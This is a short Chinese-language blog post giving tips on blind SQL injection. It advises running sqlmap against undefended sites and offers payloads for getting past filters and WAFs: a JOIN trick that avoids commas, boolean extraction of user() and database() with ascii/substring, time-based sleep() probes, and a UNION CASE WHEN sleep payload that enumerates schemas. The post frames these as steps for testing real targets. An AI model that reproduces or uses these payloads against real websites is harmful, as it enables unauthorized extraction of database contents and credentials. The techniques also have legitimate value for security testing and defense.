zoukankan      html  css  js  c++  java
  • 关于sql注入盲注,谈谈自己的心得

    1.没做防御的站点,拿上sqlmap直接怼就行了。

    2.做了防御,有的用函数过滤了,有的用了waf(比如安全狗,云锁,华为云waf,360waf,知道创宇盾,护卫神等等)

    这些就相当麻烦了,首先要探测出过滤了什么,再去构造sql语句,在本地测试通过后,再一点点完善,最后再去测试目标

    举个例子,一个站点过滤了逗号,和单引号,且数据库编码不是GB系列的,这种就不太好操作,个人手工测试,可以猜解出user(),database(),version()这些,但是完全手工也很麻烦,虽然能拿到,但是相当累。这里不用时间盲注的原因是因为,时间盲注本身,直接查询数据库是没有延迟的,但是访问某些网页根据你网络的好坏是有一定延迟的,所以这就很麻烦。

    绕过逗号可以用join

    语句

    select * from (select group_concat(distinct(table_schema)) from information_schema.tables ) a join (select 2 ) b;
    

     

    语句

    select id,username,password from users where id=1 and (ascii(substring(user() from 2))=111);
    

     

     这里用户名是root@localhost1,查询切片第二个字符的ascii码111对应是o

    如果排除网页响应时间的干扰,是可以用时间盲注的,写个脚本跑一下就好了

    又如

    
    
    select * from users where id=1 and (ascii(substring(database() from 1))=115) and  (select sleep(2));
    
    
    

     

     如果数据不存在则会,延迟两秒返回,存在的会秒回

    这里也尝试用联合查询,但是限制有点大

    这里是用联合查询爆破表名

    UNION select case when ascii(substring((select group_concat(distinct(table_schema)) from information_schema.tables) from 1 for 1))=123 then sleep(3) else 0 end;
    

     这里有一个条件语句,如果结果存在则会执行睡眠3秒的操作。但是只能用于联合语句,对于过滤了UNION的就无效了

     
  • 相关阅读:
    在线|九月月考选填题
    函数$f(x)=e^xpm e^{-x}$相关
    偶函数性质的推广
    2020年全国卷Ⅱ卷文科数学选填题解析版
    2020年全国卷Ⅱ卷文科数学解答题解析版
    待定系数法
    特殊方法求函数解析式
    phd文献阅读日志-4.1
    phd文献阅读日志-1.2~3.2(1.2,2.1,2.2,3.1,3.2)
    完美解决linux下vim在终端不能用鼠标复制的问题
  • 原文地址:https://www.cnblogs.com/mke2fs/p/11480423.html
Copyright © 2011-2022 走看看